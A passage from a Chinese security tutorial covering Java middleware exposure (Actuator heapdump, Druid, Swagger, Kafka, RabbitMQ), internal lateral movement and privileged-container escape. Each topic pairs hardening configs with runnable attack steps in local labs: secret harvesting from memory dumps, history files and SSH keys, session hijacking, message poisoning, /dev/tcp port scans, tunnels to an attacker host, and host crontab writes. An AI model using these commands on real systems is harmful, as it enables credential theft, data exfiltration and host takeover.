# 更实用的:用 OQL 查询(如果装了 MAT 的命令行)
# SELECT * FROM java.lang.String s WHERE s.value.toString().matches(".*password.*")

用 Python 快速提取所有 String(比 strings 更准):

#!/usr/bin/env python3
# hprof_strings.py —— 从 heapdump 里提取所有字符串并搜敏感词
import re, sys

path = sys.argv[1]
keywords = ['password', 'passwd', 'secret', 'token', 'accesskey',
            'access_key', 'ak', 'sk', 'private', 'credential', 'apikey']

found = {}
with open(path, 'rb') as f:
    # HPROF 格式里字符串主要是 UTF-8,直接扫
    data = f.read()

# 按 \x00 切分,找出所有可打印的字符串
for chunk in re.findall(rb'[\x20-\x7e]{6,}', data):
    s = chunk.decode('ascii', errors='ignore')
    low = s.lower()
    for kw in keywords:
        if kw in low and len(s) < 200:
            found.setdefault(kw, set()).add(s)
            break

for kw, vals in sorted(found.items()):
    print(f"\n=== 关键词: {kw} ({len(vals)} 条) ===")
    for v in list(vals)[:20]:
        print(f"  {v}")

7.5.3 Druid 监控页面

Druid 是什么:阿里开源的数据库连接池(druid-spring-boot-starter), 它自带一个监控页面 /druid/index.html。

# 访问监控页(很多项目直接开着,无认证)
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:8888/druid/index.html
# 预期:200(说明开着)

# 能拿到什么:
# ① /druid/datasource.json     → 数据库连接信息、SQL 执行情况
# ② /druid/sql.json            → ★ 所有执行过的 SQL(能看到表结构、字段名,甚至数据)
# ③ /druid/weburi.json         → 所有访问过的 URI
# ④ /druid/session.json        → ★ 所有 Session(结合 Session 劫持可登录他人账号)
# ⑤ /druid/spring.json         → Spring 的所有 Bean 和 URL 映射

Druid 的严重漏洞:Session 劫持

# 拿到 session 列表
curl -s "http://127.0.0.1:8888/druid/session.json?orderBy=&orderType=asc&page=1&perPageCount=1000000" \
  | python3 -m json.tool
# 预期:
# {"ResultCode":1,"Content":[{"ID":"A1B2C3D4E5F6...","Principal":"admin",...}]}
#                                    ↑ Session ID     ↑ 登录的用户名

# ★ 用这个 Session ID 就能冒充该用户登录(如果应用只用 Session 做认证)
curl -s -H "Cookie: JSESSIONID=A1B2C3D4E5F6..." http://127.0.0.1:8888/api/user/profile

修复:

# application.yml
spring:
  datasource:
    druid:
      stat-view-servlet:
        # ★ 方案 1:直接关闭(生产推荐)
        enabled: false

        # 方案 2:如果要开,必须加认证 + 限制 IP
        # enabled: true
        # login-username: ${DRUID_USER}      # 从环境变量注入,不要写死
        # login-password: ${DRUID_PASS}
        # allow: 172.20.0.0/16,127.0.0.1     # ★ IP 白名单
        # deny:                               # 黑名单
        # reset-enable: false                 # ★ 禁用"重置统计"按钮

      # ★ 关闭 Session 监控(Session 劫持的根源)
      web-stat-filter:
        enabled: false
        session-stat-enable: false

7.5.4 Swagger / Knife4j

问题:Swagger 方便开发,但生产环境开着会泄露所有 API 路径、参数、甚至可以直接调试发请求。

# 常见的 Swagger 路径(挨个试)
for p in /swagger-ui.html /swagger-ui/index.html /doc.html /api-docs /v2/api-docs \
         /v3/api-docs /swagger-resources /webjars/swagger-ui/index.html; do
  C=$(curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:8888$p")
  [ "$C" = "200" ] && echo "  ⚠️  开放:$p"
done

# 拿到 API 定义后,能看到所有接口
curl -s http://127.0.0.1:8888/v2/api-docs | python3 -m json.tool | head -50

修复:

@Configuration
public class SwaggerConfig {

    @Bean
    @Profile({"dev", "test"})          // ★ 只在 dev/test 环境启用
    public Docket api() {
        return new Docket(DocumentationType.SWAGGER_2)
            .select()
            .apis(RequestHandlerSelectors.basePackage("com.example.controller"))
            .paths(PathSelectors.any())
            .build();
    }
}
# application-prod.yml
springfox:
  documentation:
    swagger-ui:
      enabled: false       # ★ 生产关闭 UI
    auto-startup: false

# 或者在 Knife4j
knife4j:
  enable: false
  production: true

7.5.5 修复清单(★ 生产直接照抄)

# application-prod.yml
management:
  # 【1】管理端口与业务端口分离
  server:
    port: 9090
    address: 127.0.0.1          # ★ 只监听本地,外部访问要靠跳板/内网

  # 【2】★ 只暴露必要的端点(绝不用 '*')
  endpoints:
    web:
      exposure:
        include: health,info,prometheus
      base-path: /manage           # ★ 改掉默认的 /actuator(避免被扫描器直接找到)
    jmx:
      exposure:
        exclude: '*'

  # 【3】逐个关闭危险端点
  endpoint:
    health:
      show-details: never          # ★ 不显示详细信息(避免泄露组件状态)
    # heapdump, env, beans, threaddump, loggers, gateway
    # 都不在 include 里 = 默认关闭

  # 【4】开启 endpoint 的敏感标记(Spring Boot 2.x)
  # 注意:2.x 移除了 sensitive 概念,靠 include 控制即可

再加一层认证(纵深防御):

@Configuration
public class ActuatorSecurityConfig {

    @Bean
    public SecurityFilterChain actuatorSecurity(HttpSecurity http) throws Exception {
        return http
            // 只匹配管理端点
            .securityMatcher(EndpointRequest.toAnyEndpoint())
            .authorizeHttpRequests(auth -> auth
                // health 和 info 允许匿名(给监控系统用)
                .requestMatchers(EndpointRequest.to("health", "info")).permitAll()
                // 其他端点必须管理员 + 来源 IP 白名单
                .anyRequest().hasRole("ACTUATOR_ADMIN"))
            .httpBasic(Customizer.withDefaults())
            .build();
    }
}

K8s 里再加固一层(NetworkPolicy,第八章会讲):

# 只允许 Prometheus 访问 9090 端口
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-prometheus-only
spec:
  podSelector:
    matchLabels:
      app: myapp
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: prometheus
    ports:
    - protocol: TCP
      port: 9090        # 只开放管理端口给监控

7.5.6 复测脚本

cat > /tmp/verify_actuator.sh <<'SCRIPT'
#!/bin/bash
# Actuator / Druid / Swagger 暴露面复测
TARGET="${1:-http://127.0.0.1:8888}"
pass=0; fail=0
ok()  { echo "  ✅ 通过:$1"; pass=$((pass+1)); }
bad() { echo "  ❌ 未通过:$1 —— $2"; fail=$((fail+1)); }

echo "=== Java 应用暴露面复测 ==="
echo "目标:$TARGET"
echo ""

echo "--- Actuator 危险端点(应全部 401/403/404)---"
for ep in heapdump env beans threaddump mappings loggers gateway/routes configprops \
          scheduledtasks caches auditevents httptrace shutdown restart; do
  for base in "/actuator" "/manage"; do
    C=$(curl -s -o /dev/null -w '%{http_code}' -m 5 "$TARGET$base/$ep")
    if [ "$C" = "200" ]; then
      bad "  $base/$ep 可访问" "★ HTTP 200"
      break
    fi
  done
  [ "$C" != "200" ] && echo "  ✅ /actuator/$ep 不可访问"
done

echo ""
echo "--- 允许开放的端点(应 200)---"
for ep in health info; do
  C=$(curl -s -o /dev/null -w '%{http_code}' -m 5 "$TARGET/actuator/$ep")
  [ "$C" = "200" ] && echo "  ✅ /actuator/$ep = $C(正常开放)" \
                   || echo "  ⚠️  /actuator/$ep = $C"
done

echo ""
echo "--- Druid 监控 ---"
for p in /druid/index.html /druid/sql.json /druid/session.json /druid/datasource.json; do
  C=$(curl -s -o /dev/null -w '%{http_code}' -m 5 "$TARGET$p")
  if [ "$C" = "200" ]; then bad "  $p 可访问" "★ 会泄露 SQL/Session"; else ok "  $p 不可访问"; fi
done

echo ""
echo "--- Swagger 文档 ---"
SW=0
for p in /swagger-ui.html /swagger-ui/index.html /doc.html /v2/api-docs /v3/api-docs \
         /swagger-resources; do
  C=$(curl -s -o /dev/null -w '%{http_code}' -m 5 "$TARGET$p")
  if [ "$C" = "200" ]; then echo "  ❌ $p 可访问(HTTP 200)"; SW=1; fi
done
[ $SW -eq 0 ] && ok "  Swagger 未开放" || echo "     ⚠️  生产环境应关闭 Swagger"

echo ""
echo "--- H2 Console(★ 最容易忘)---"
C=$(curl -s -o /dev/null -w '%{http_code}' -m 5 "$TARGET/h2-console")
[ "$C" = "200" ] && bad "  /h2-console 可访问" "★ 可直接执行 SQL 拖库" || ok "  /h2-console 不可访问"

echo ""
echo "--- 错误页面泄露 ---"
C=$(curl -s -o /tmp/_err.txt -w '%{http_code}' "$TARGET/api/notexist/$(date +%s)")
if grep -qiE "java\.|Exception|at [a-z]+\.[a-z]+\.|Spring Boot" /tmp/_err.txt; then
  bad "  错误页面泄露堆栈信息" "$(head -c 100 /tmp/_err.txt)"
else
  ok "  错误页面未泄露堆栈"
fi

echo ""
echo "结果:通过 $pass,未通过 $fail"
[ $fail -eq 0 ] && echo "🎉 暴露面检查通过" || echo "⚠️  发现 $fail 项暴露,需要处理"
SCRIPT
chmod +x /tmp/verify_actuator.sh

7.6 消息队列未授权:Kafka / RabbitMQ / RocketMQ

MQ 的未授权不像 Redis 那样能直接 GetShell,但危害同样巨大: ① 数据泄露(消息里可能有订单、用户信息) ② 数据投毒(往队列里塞假消息,污染下游) ③ 拒绝服务(疯狂生产消息把磁盘撑爆)

7.6.1 Kafka

# 起靶场(无认证)
docker run -d --name kafka-vuln --network lab-net \
  -p 127.0.0.1:9092:9092 \
  -e KAFKA_ZOOKEEPER_CONNECT=zookeeper:2181 \
  -e KAFKA_ADVERTISED_LISTENERS=PLAINTEXT://127.0.0.1:9092 \
  -e KAFKA_LISTENERS=PLAINTEXT://0.0.0.0:9092 \
  -e KAFKA_ALLOW_PLAINTEXT_LISTENER=yes \
  -e KAFKA_AUTO_CREATE_TOPICS_ENABLE=true \
  bitnami/kafka:3.4

# 探测:列出所有 topic(无需认证)
kafka-topics.sh --bootstrap-server 127.0.0.1:9092 --list
# 预期:
# order-events
# user-register
# payment-notify
# __consumer_offsets

# ★ 消费消息(拖数据)
kafka-console-consumer.sh --bootstrap-server 127.0.0.1:9092 \
  --topic order-events --from-beginning --max-messages 100
# 预期输出:
# {"orderId":"202609040001","userId":10086,"amount":9999.00,"address":"北京市朝阳区xxx","phone":"138****1234"}
# {"orderId":"202609040002",...}
# ★ 全是真实业务数据!

# ★ 生产假消息(投毒)
echo '{"orderId":"FAKE001","userId":1,"amount":0.01,"status":"PAID"}' | \
  kafka-console-producer.sh --bootstrap-server 127.0.0.1:9092 --topic payment-notify
# 下游服务会当真,可能触发"虚假发货"

Kafka 加固:

# server.properties

# 【1】开启 SASL 认证(★ 最重要)
listeners=SASL_PLAINTEXT://172.20.0.20:9092
security.inter.broker.protocol=SASL_PLAINTEXT
sasl.mechanism.inter.broker.protocol=PLAIN
sasl.enabled.mechanisms=PLAIN,SCRAM-SHA-512

# 【2】配置 JAAS(用户名密码)
# listener.name.sasl_plaintext.plain.sasl.jaas.config=\
#   org.apache.kafka.common.security.plain.PlainLoginModule required \
#   username="admin" password="admin-secret" user_admin="admin-secret" user_app="app-secret";

# 【3】开启 ACL(细粒度:哪个用户能读写哪个 topic)
authorizer.class.name=kafka.security.authorizer.AclAuthorizer
super.users=User:admin
# 命令行配置:
# kafka-acls.sh --bootstrap-server localhost:9092 --add \
#   --allow-principal User:app --operation Read --topic order-events

# 【4】关闭自动创建 topic(防止攻击者建一堆 topic 撑爆磁盘)
auto.create.topics.enable=false

# 【5】不监听 0.0.0.0
listeners=PLAINTEXT://172.20.0.20:9092

7.6.2 RabbitMQ

# 起靶场(默认 guest/guest)
docker run -d --name rabbit-vuln --network lab-net \
  -p 127.0.0.1:15672:15672 -p 127.0.0.1:5672:5672 \
  rabbitmq:3.11-management-alpine

# 探测:用默认口令登录管理后台
curl -s -u guest:guest "http://127.0.0.1:15672/api/overview" | python3 -m json.tool | head -20
# 预期:返回集群信息 = ★ 默认口令可用

# 列出所有队列
curl -s -u guest:guest "http://127.0.0.1:15672/api/queues" \
  | jq -r '.[] | "\(.name)\t\(.messages) 条消息"'
# 预期:
# order.queue	1523 条消息
# email.queue	87 条消息

# ★ 拉取消息内容(会消费掉!攻击者通常用"偷看"模式避免被发现)
curl -s -u guest:guest -X POST "http://127.0.0.1:15672/api/queues/%2F/order.queue/get" \
  -H "Content-Type: application/json" \
  -d '{"count":10,"ackmode":"ack_requeue_true","encoding":"auto"}'
# ackmode=ack_requeue_true 的作用:看完再放回去,不影响业务(★ 隐蔽)

# ★ 管理后台还能执行 Erlang 代码 → RCE(CVE-2018-1279 等历史漏洞)

RabbitMQ 加固:

# ① 改掉默认口令(★ 必须)
rabbitmqctl change_password guest 'Xk9mP2vQ7nR4tY8wZ1aB6cE'

# ② 删除 guest 用户(更彻底)
rabbitmqctl delete_user guest

# ③ 创建应用专用用户 + 最小权限
rabbitmqctl add_user appuser 'AppPass123!'
rabbitmqctl set_permissions -p / appuser "order-.*" "order-.*" "order-.*"
#                                        ↑ 配置    ↑ 写      ↑ 读
# 含义:只能操作 order- 开头的资源

# ④ 禁用管理后台或限制 IP
rabbitmq-plugins disable rabbitmq_management    # 生产环境可考虑关闭 UI

# ⑤ 只监听内网
# rabbitmq.conf: listeners.tcp.local = 172.20.0.30:5672

7.6.3 统一加固思路

┌──────────────────────────────────────────────────────┐
│  所有中间件的未授权问题,答案都是同一个套路:           │
├──────────────────────────────────────────────────────┤
│  ① 开认证(改默认口令,用强密码)                      │
│  ② 只听内网(bind 内网 IP,不绑 0.0.0.0)              │
│  ③ 改端口(挡掉自动化扫描,属于"安全通过 obscurity")  │
│  ④ 最小权限(业务账号只给必要权限)                    │
│  ⑤ 网络隔离(防火墙 / 安全组 / K8s NetworkPolicy)     │
│  ⑥ 开审计日志(出事能溯源)                            │
│  ⑦ 定期扫描(trivy / nmap / 自研扫描器)               │
└──────────────────────────────────────────────────────┘

7.7 内网横向移动:拿到一台之后怎么办

这一节是“攻击链的完整闭环”。前面所有章节都是“拿下第一台机器”, 这一节讲拿到第一台之后怎么扩大战果。

对防御方的价值更大:知道攻击者会怎么走,才知道该在哪里设卡。

7.7.1 名词

名词 白话解释
横向移动 攻击者拿下 A 机器后,以 A 为跳板去打 B、C、D 机器。内网机器之间通常互相信任,防护最弱
跳板机 被攻陷后用来“跳”到其他机器的那台机器
PTH / 票据传递 Windows 域环境下的技术,本文不涉及(Java 场景主要面对 Linux)
端口转发 / 隧道 把内网服务的端口“映射”到攻击者能访问的地方,就像挖一条地道

7.7.2 Linux 上的横向移动四步

第一步:信息收集(我在哪?周围有什么?)

# ① 我是谁、在哪
whoami && id && hostname && uname -a

# ② 网卡和网络(★ 有哪些网段可以打)
ip addr | grep -E "inet |ether"
cat /etc/resolv.conf          # DNS 服务器(通常也是内网的网关/域控)

# ③ 路由表(能直接访问哪些网段)
ip route

# ④ 当前有哪些连接(★ 看这台机器平时跟谁通信)
netstat -antp | head -30
ss -antp | grep ESTAB

# ⑤ 这台机器上有什么服务(对外开放了什么)
netstat -lntp

# ⑥ hosts 文件(★ 经常有惊喜——内网域名和 IP 的对应关系)
cat /etc/hosts

# ⑦ 历史命令(★ 经常有密码)
cat ~/.bash_history | grep -iE "mysql|redis|ssh|scp|password|token"

# ⑧ 配置文件里的密码
grep -riE "password|passwd|secret|token" /app/*.yml /app/*.properties 2>/dev/null | head -20
cat /app/application.yml 2>/dev/null
env | grep -iE "pass|secret|key|token"

第二步:扫内网(哪些机器活着?开了什么端口?)

# 方法 1:ping 扫描(快速找出存活主机)
for i in $(seq 1 254); do
  (ping -c 1 -W 1 172.20.0.$i > /dev/null 2>&1 && echo "172.20.0.$i 存活" &
) done; wait

# 方法 2:用 nmap(如果有的话)
nmap -sn 172.20.0.0/24                  # 只扫描存活主机
nmap -sT -p 22,80,443,3306,6379,8080,8848,9200 172.20.0.0/24   # 扫关键端口

# 方法 3:★ 没有 nmap 时,用 bash + /dev/tcp(纯内置,不留文件)
for i in $(seq 1 254); do
  for p in 22 3306 6379 8080 8848; do
    (timeout 1 bash -c "echo > /dev/tcp/172.20.0.$i/$p" 2>/dev/null \
      && echo "172.20.0.$i:$p 开放" &)
  done
done; wait

# 方法 4:用已拿下的 Redis 当跳板(第五章的 SSRF 思路类似)

第三步:利用(用什么打?)

# 优先级从高到低:
# ① SSH 私钥(~/.ssh/id_rsa, ~/.ssh/authorized_keys)
#    → 直接用私钥登录其他机器(如果做了免密登录,一把钥匙开所有门)
ls -la ~/.ssh/
cat ~/.ssh/id_rsa 2>/dev/null
cat ~/.ssh/known_hosts      # ★ 看这台机器登过哪些机器
cat ~/.ssh/config           # ★ 可能有跳板机配置

# ② 配置文件里的密码(复用!很多人所有机器用同一个密码)
grep -rE "password" /app/ /etc/ 2>/dev/null

# ③ 同样的未授权服务(Redis/MySQL/Nacos 通常装了一批,配置都一样)
redis-cli -h 172.20.0.20 -p 6379 ping

# ④ 复用漏洞(如果 A 机器有 Log4Shell,同批次的 B/C 大概率也有)

第四步:建隧道(把内网服务“挖出来”)

# 场景:拿下了 A 机器(172.20.0.10),发现内网有一台 MySQL(172.20.0.20:3306)
#       但攻击者无法直接访问 172.20.0.20,只能通过 A 访问

# 方法 1:SSH 本地端口转发(最常用)
# 在攻击机上执行:
ssh -L 13306:172.20.0.20:3306 root@A机器公网IP -N -f
# 然后攻击机访问自己的 13306 端口,就等于访问内网的 3306
mysql -h 127.0.0.1 -P 13306 -uroot -p

# 方法 2:SSH 动态转发(SOCKS 代理)
ssh -D 1080 root@A机器公网IP -N -f
# 然后浏览器/工具配置 SOCKS5 代理 127.0.0.1:1080,
# 就能像在 A 机器本地一样访问整个内网

# 方法 3:用 frp / chisel / nps 这类专业的内网穿透工具
# frpc 配置(在被控机器上跑):
# [common]
# server_addr = 攻击者IP
# server_port = 7000
# [mysql]
# type = tcp
# local_ip = 172.20.0.20
# local_port = 3306
# remote_port = 13306

7.7.3 防御:在哪里设卡

攻击阶段 防御措施
① 信息收集 ★ 配置文件里不放明文密码(用 KMS/Vault);清理 .bash_history;env 里不放大密钥
② 扫内网 ★ 微服务间做网络隔离(K8s NetworkPolicy / 安全组);不要“内网全互通”
③ 利用 ★ 每台机器用不同的密码/密钥;SSH 禁用密码登录改用密钥;禁止 root 直登
④ 建隧道 出网流量白名单(★ 只允许访问必要的外部地址);监控异常的出站长连接

★ 最重要的一条防御:SSH 密钥管理

# ❌ 错误做法:所有服务器共用一把 SSH 密钥(一把钥匙开所有门)
#    一旦一台被攻破,全部沦陷

# ✅ 正确做法:
# ① 每台服务器独立的 authorized_keys
# ② 或者用堡垒机/跳板机统一管控,服务器只允许从堡垒机 IP 登录
#    /etc/ssh/sshd_config:
#      AllowUsers deploy@堡垒机IP
# ③ 或用短期证书(Netflix 的 BLESS、HashiCorp Vault 的 SSH CA)
#    证书 1 小时过期,偷走也没用

# /etc/ssh/sshd_config 加固
PermitRootLogin no              # ★ 禁止 root 直登
PasswordAuthentication no       # ★ 禁用密码登录,只用密钥
PubkeyAuthentication yes
PermitEmptyPasswords no
MaxAuthTries 3
ClientAliveInterval 300
AllowUsers deploy ops           # 只允许指定用户
# AllowGroups ssh-users

# 重启生效
systemctl restart sshd

7.8 第七章总结

7.8.1 速查表

服务 端口 未授权能干什么 加固一句话
Redis 6379 写文件 → GetShell 设密码 + 禁 CONFIG/MODULE + 非 root
MySQL 3306 拖库 + UDF 提权 secure_file_priv + 收回 FILE 权限
Nacos 8848 拖走所有配置(含全部密码) 开鉴权 + 关闭 UA 白名单 + 配置加密
Jenkins 8080 Groovy → RCE + 拖走全部凭据 开认证 + 保护 /script + 日志脱敏
Actuator 8080 heapdump 拖走内存里所有密码 只暴露 health/info + 改端口 + 加认证
Druid 8080 SQL/Session 泄露 + Session 劫持 生产关闭或加认证 + 关 Session 监控
Swagger 8080 泄露全部 API 清单 生产关闭(@Profile)
Kafka 9092 消费消息(拖数据)+ 投毒 SASL 认证 + ACL
RabbitMQ 15672 拖走消息 + 管理后台 RCE 改掉 guest/guest + 最小权限
Docker API 2375 直接接管宿主机 ★ 绝不开 2375,必须开就用 TLS
Elasticsearch 9200 拖走全部数据 开 X-Pack 安全认证
MongoDB 27017 拖走全部数据 开 auth + 不绑 0.0.0.0

7.8.2 本章必背 6 句话

  1. Redis 未授权的严重程度 = 能写文件 × root 运行 × 公网可达,断任何一环都行
  2. 只禁 CONFIG 是不够的——攻击者会用主从复制 RCE,必须同时禁 MODULE/SLAVEOF
  3. MySQL UDF 提权的三个前提:FILE 权限 + secure_file_priv 为空 + plugin_dir 可写,堵一个就够
  4. Nacos 泄露 = 整个公司的钥匙串(数据库密码 + Redis 密码 + AK/SK + JWT 密钥)
  5. /actuator/env 会脱敏,但 /actuator/heapdump 不脱敏——后者能把内存里所有密码原样 dump 出来
  6. 未授权的通用答案:开认证 + 听内网 + 改端口 + 最小权限 + 网络隔离 + 开审计

7.8.3 面试怎么讲(1 分钟版本)

“中间件未授权这块我重点关注的是配置中心和应用监控端点,因为这两个是 Java 微服务里最容易被忽略、但危害最大的。

配置中心(我们用 Nacos):它里面存着所有服务的配置,包括数据库密码、Redis 密码、AK/SK。 如果没开鉴权,攻击者一条 curl 就能把所有配置拖走,相当于把整个公司的钥匙串给了别人。 我们做了三件事:开启鉴权并关闭 user-agent 白名单(那个 CVE-2021-29441 就是靠伪造 UA 绕过的); 配置里不放明文密钥,敏感值用 Jasypt 加密,主密钥从环境变量注入; AK/SK 干脆不用,改成云厂商的实例角色,代码里根本不出现密钥。

监控端点(Actuator):我们之前默认暴露了全部端点,做安全评审时发现 /actuator/env 虽然会脱敏,但 /actuator/heapdump 不会—— 它能把 JVM 堆内存原样 dump 出来,里面有数据库密码的 String 对象明文。 我实际验证过,dump 下来 strings 一下就能搜到密码。 后来改成只暴露 health/info/prometheus,管理端口和业务端口分离且只监听本地,再加一层认证。

另外 Redis 那块我们做了非 root 运行 + 禁用 CONFIG/MODULE/SLAVEOF, 因为只禁 CONFIG 不够,攻击者会改用主从复制 RCE。“

7.8.4 本章实验清单

实验 耗时 难度 面试价值
Redis 未授权探测 + 写 crontab 30 分钟 ★★ ★★★★★
Redis 主从复制 RCE 40 分钟 ★★★ ★★★★
MySQL UDF 提权 45 分钟 ★★★ ★★★★
MySQL 拖库 + 敏感字段定位 20 分钟 ★★ ★★★
Nacos 配置泄露 25 分钟 ★★ ★★★★★
Jenkins Script Console RCE 30 分钟 ★★ ★★★★
Jenkins 凭据拖取 20 分钟 ★★ ★★★★
heapdump 捞密码 30 分钟 ★★ ★★★★★
Druid Session 劫持 20 分钟 ★★ ★★★
Kafka 消息拖取 20 分钟 ★★ ★★★

时间有限的话,做这三个:Redis 写 crontab(最经典)、heapdump 捞密码(最震撼、最贴近 Java)、Nacos 配置泄露(危害最大)。


第八章:容器逃逸与 K8s 攻防

这一章是 12 号文档的“高阶部分”,也是最能拉开差距的一章。

第七章讲的 Redis / Nacos / Jenkins 是传统运维的问题,很多老工程师也懂。 但容器逃逸和 K8s 集群接管,是云原生时代的新战场—— 大量公司上了 K8s,但真正理解“SA Token 能干什么”的人不多。

如果你的简历上有 K8s(云原生与 DevOps 那篇文档),这一章的内容能让你在面试里 从“会用 K8s”变成“懂 K8s 安全”——这是两个层次。

8.0 先建立“4C 安全模型”

云原生安全有个著名的 4C 模型(分层防御):

        ┌─────────────────────────────────────────┐
        │            ① Cloud(云)                 │
        │     云账号、IAM、安全组、VPC              │
        │   ┌─────────────────────────────────┐   │
        │   │         ② Cluster(集群)        │   │
        │   │   K8s API、etcd、RBAC、 admission│   │
        │   │   ┌─────────────────────────┐   │   │
        │   │   │   ③ Container(容器)    │   │   │
        │   │   │  securityContext、capabilities│  │
        │   │   │   ┌─────────────────┐   │   │   │
        │   │   │   │  ④ Code(代码)  │   │   │   │
        │   │   │   │  SQL注入/XSS...  │   │   │   │
        │   │   │   └─────────────────┘   │   │   │
        │   │   └─────────────────────────┘   │   │
        │   └─────────────────────────────────┘   │
        └─────────────────────────────────────────┘

   ★ 关键:每一层被攻破,都能进入【更里面】的层
     代码有漏洞 → 拿到容器 shell → 容器逃逸 → 拿到 Node → 接管集群 → 控制云账号

本章要打通的攻击链:

代码漏洞(如 Log4Shell)
      ↓  ① 在容器里拿到 Shell
容器逃逸(本章 8.1)
      ↓  ② 从容器里出来,拿到 Node(宿主机)权限
偷取 ServiceAccount Token(本章 8.3)
      ↓  ③ 用 Token 调 K8s API
RBAC 权限提升
      ↓  ④ 创建特权 Pod / 读取所有 Secret
接管整个集群
      ↓  ⑤ 拿到云厂商 AK/SK(Secret 里通常有)
控制云账号(开矿机、删数据)

8.0.1 名词速查(本章会反复出现)

名词 白话解释
容器逃逸 从容器里“跑出来”,拿到宿主机的权限。本来容器应该是隔离的沙箱,逃逸就是打破这个沙箱
特权容器(privileged) 用 --privileged 启动的容器,它拥有宿主机的所有设备访问权和 capabilities。等于“沙箱墙被拆了”
Namespace / Cgroup Linux 容器的两大基石:Namespace 负责“看不见“(隔离视图),Cgroup 负责”用不了那么多“(限制资源)。逃逸的本质就是绕过这两层
Capabilities Linux 把 root 权限拆成了 38 个小权限(如 CAP_NET_ADMIN 改网络、CAP_SYS_ADMIN 挂载文件系统)。容器默认只给其中一小部分
SA Token ServiceAccount Token,K8s 发给每个 Pod 的“身份证”,Pod 用它访问 K8s API。默认挂载在 /var/run/secrets/kubernetes.io/serviceaccount/token
RBAC Role-Based Access Control,K8s 的权限系统:定义“谁(ServiceAccount)能对什么资源(pods/secrets)做什么操作(get/list/create)“
kubelet 跑在每个 Node 上的“agent”,负责管理本机的 Pod。它有 10250 端口的 API,如果没鉴权,能在任意 Pod 里执行命令
etcd K8s 的数据库,存着集群的所有状态——包括所有 Secret(明文或 base64)
Pod Security Admission (PSA) K8s 1.25+ 的准入控制,用来阻止创建特权容器等高危 Pod(取代了老的 PSP)
NetworkPolicy K8s 的“防火墙规则“,控制 Pod 之间能不能互相访问

8.1 容器逃逸:三种手法

前提假设:你已经通过某个漏洞(比如 Log4Shell)在容器里拿到了 Shell。 现在问:你能不能从容器里出来?

8.1.1 手法一:特权容器逃逸(最简单,也最常见)

什么是特权容器:启动时加了 --privileged 的容器。 它的 CAP_SYS_ADMIN 权限没被去掉,能看到宿主机的所有磁盘设备。

逃逸原理:

特权容器能看到宿主机的磁盘(/dev/sda1 等), 于是把它挂载到容器里,然后就能读写宿主机的整个文件系统—— 包括 /etc/shadow、/root/.ssh/、crontab。

容器里的视角:
  # fdisk -l
  Disk /dev/vda: 100 GB          ← ★ 这是宿主机的磁盘!普通容器看不到

逃逸步骤:
  ① mkdir /mnt/host && mount /dev/vda1 /mnt/host
  ② chroot /mnt/host             ← 切换根目录,现在"就在宿主机上"
  ③ 写 crontab / SSH key / 直接执行命令

动手:

# ① 起一个特权容器模拟"被攻陷的应用"
docker run -it --rm --name escape-privileged \
  --privileged \
  --pid=host \
  -v /:/host \
  ubuntu:22.04 bash

在容器里执行(你现在是攻击者):

# 第 1 步:确认自己是特权容器
cat /proc/self/status | grep -i cap
# 预期(特权容器):
# CapEff:	000001ffffffffff        ← ★ 全 f = 拥有所有 capabilities
# 普通容器应该是:
# CapEff:	00000000a80425fb        ← 只有一部分

# 或者用 capsh 看
capsh --print | grep Current
# 特权容器:Current: = cap_sys_admin,...,cap_sys_ptrace,...ep
# 普通容器:Current: = cap_chown,cap_dac_override,...(少很多)

# 第 2 步:看能不能看到宿主机磁盘
fdisk -l 2>/dev/null | head -20
# 预期:
# Disk /dev/vda: 100 GiB, 107374182400 bytes
# /dev/vda1  *     2048 209715199 209713152  100G 83 Linux    ← ★ 宿主机磁盘

# 第 3 步:★ 挂载宿主机根分区
mkdir -p /mnt/host
mount /dev/vda1 /mnt/host
# 预期:无报错(成功)

# 第 4 步:确认能读写宿主机文件
ls /mnt/host/
# 预期:
# bin  boot  dev  etc  home  lib  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
# ★ 这就是宿主机的根目录!

cat /mnt/host/etc/hostname
# 预期:宿主机的主机名(和容器的 hostname 不同)

# 第 5 步:★ 写 crontab 到宿主机(GetShell)
echo "* * * * * root touch /tmp/ESCAPED_FROM_PRIVILEGED_CONTAINER" \
  >> /mnt/host/etc/crontab
# 等 1 分钟,验证宿主机上文件被创建

# 第 6 步(更直接):chroot 过去,直接就在宿主机上
chroot /mnt/host /bin/bash
# 现在你敲的任何命令都在宿主机上执行
hostname      # 预期:宿主机的主机名
whoami        # 预期:root

⚠️ 注意:上面的演示用了 -v /:/host,那是“作弊”(宿主机根目录直接挂进来了)。 真正的特权容器逃逸不需要这个——靠的是 mount /dev/vda1。 我这里加上 -v 只是为了让你在实验环境里更容易看到效果。 你可以去掉 -v /:/host 再试一次,只用 --privileged,mount /dev/vda1 依然有效。

为什么这么容易?防御手段是什么?

# ❌ 危险配置
apiVersion: v1
kind: Pod
metadata:
  name: bad-pod
spec:
  containers:
  - name: app
    image: nginx
    securityContext:
      privileged: true        # ★ 罪魁祸首

# ✅ 安全配置
apiVersion: v1
kind: Pod
metadata:
  name: good-pod
spec:
  containers:
  - name: app
    image: nginx
    securityContext:
      privileged: false              # ★ 绝不开特权
      allowPrivilegeEscalation: false # ★ 禁止提权(阻止 setuid 程序)
      runAsNonRoot: true             # ★ 非 root 运行
      runAsUser: 10001
      readOnlyRootFilesystem: true   # ★ 根文件系统只读(攻击者写不了文件)
      capabilities:
        drop:
          - ALL                      # ★ 去掉所有 capabilities
        # add: ["NET_BIND_SERVICE"]  # 只加真正需要的(如绑定 80 端口)
      seccompProfile:
        type: RuntimeDefault         # ★ 启用 seccomp 默认策略

用 Admission Controller 强制(防止开发乱配):

# Pod Security Admission(K8s 1.25+ 内置)
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    pod-security.kubernetes.io/enforce: restricted    # ★ 最严格级别
    pod-security.kubernetes.io/enforce-version: latest
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted

PSA 的三个级别:

  • privileged:不限制(几乎不设防)
  • baseline:阻止已知的特权提升(禁止 privileged、hostPath、hostNetwork 等)
  • restricted:★ 最严格(在 baseline 基础上,还要求 runAsNonRoot、drop ALL capabilities、限制 volume 类型等)

生产环境建议:业务命名空间一律用 restricted。

8.1.2 手法二:挂载 Docker Socket(★ 实战中最常见)

